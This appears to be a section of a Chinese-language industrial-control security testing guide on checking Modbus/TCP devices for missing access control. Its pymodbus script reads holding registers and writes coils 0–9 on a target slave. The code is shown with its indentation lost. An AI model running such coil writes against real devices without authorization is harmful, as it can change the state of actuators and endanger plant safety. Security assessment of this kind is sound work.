3. Modbus/TCP未授权访问验证
Modbus/TCP 未授权访问验证思路
Modbus/TCP 默认使用 502 端口,协议本身没有认证与授权机制。验证的核心不是“能不能连上”,而是确认从站在无任何凭据的情况下,是否允许读取保持寄存器(功能码 03)以及写入线圈(功能码 05/15)。如果两者都成功,说明设备缺少访问控制,可进一步记录可读写地址范围。
Modbus 地址存在两套表示:协议报文中的 PDU 地址从 0 开始,而工程习惯常写作 40001 起。本案例统一使用 PDU 地址(0 基),并在结果中同时标注工程地址,避免混淆。
Python 验证脚本
使用 pymodbus 客户端连接从站,先读取保持寄存器,再尝试写入线圈。脚本对每个操作分别捕获异常,区分“成功响应”“异常响应”“连接失败”三种情况,并记录可读写地址范围。
from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusIOException
TARGET_IP = "192.168.1.10"
TARGET_PORT = 502
UNIT_ID = 1
client = ModbusTcpClient(TARGET_IP, port=TARGET_PORT, timeout=3)
if not client.connect():
print(f"[!] 无法连接 {TARGET_IP}:{TARGET_PORT}")
raise SystemExit(1)
print(f"[+] 已连接 {TARGET_IP}:{TARGET_PORT}")
# --- 读取保持寄存器 (功能码 03) ---
readable = []
for addr in range(0, 20):
try:
rr = client.read_holding_registers(address=addr, count=1, slave=UNIT_ID)
if not rr.isError():
readable.append(addr)
print(f"[读] PDU地址 {addr} (工程地址 {40001+addr}) = {rr.registers[0]}")
except ModbusIOException:
pass
# --- 写入线圈 (功能码 05) ---
writable = []
for addr in range(0, 10):
try:
wr = client.write_coil(address=addr, value=True, slave=UNIT_ID)
if not wr.isError():
writable.append(addr)
print(f"[写] PDU地址 {addr} (工程地址 {1+addr}) 写入成功")
except ModbusIOException:
pass
client.close()
print("\n=== 验证结果 ===")
print(f"可读保持寄存器 PDU 地址: {readable}")
print(f"可写线圈 PDU 地址: {writable}")
if readable or writable:
print("[风险] 设备缺少访问控制,未授权即可读写")
else:
print("[安全] 未发现可读写地址")
结果判读与记录要点
- 读成功:功能码 03 返回寄存器值,说明保持寄存器可被任意读取,过程数据可能泄露。
- 写成功:功能码 05 回显请求报文,说明线圈可被任意置位/复位,可能影响执行机构。
- 异常响应:返回 Exception Code 01(非法功能)或 02(非法地址),说明该地址不可用,但不代表有访问控制。
- 地址范围:记录连续可读/可写的 PDU 地址区间,并换算为工程地址(40001+ 或 00001+)。
写入线圈可能改变现场设备状态。验证前应确认目标设备处于安全工况,或仅对非关键地址进行写入测试。生产环境中优先只读探测,写入验证需获得授权。
若从站返回 Exception Code 01,可尝试功能码 01(读线圈)或 04(读输入寄存器)交叉验证,确认是功能不支持还是地址越界。部分设备对 unit_id 敏感,可尝试 0 或 255。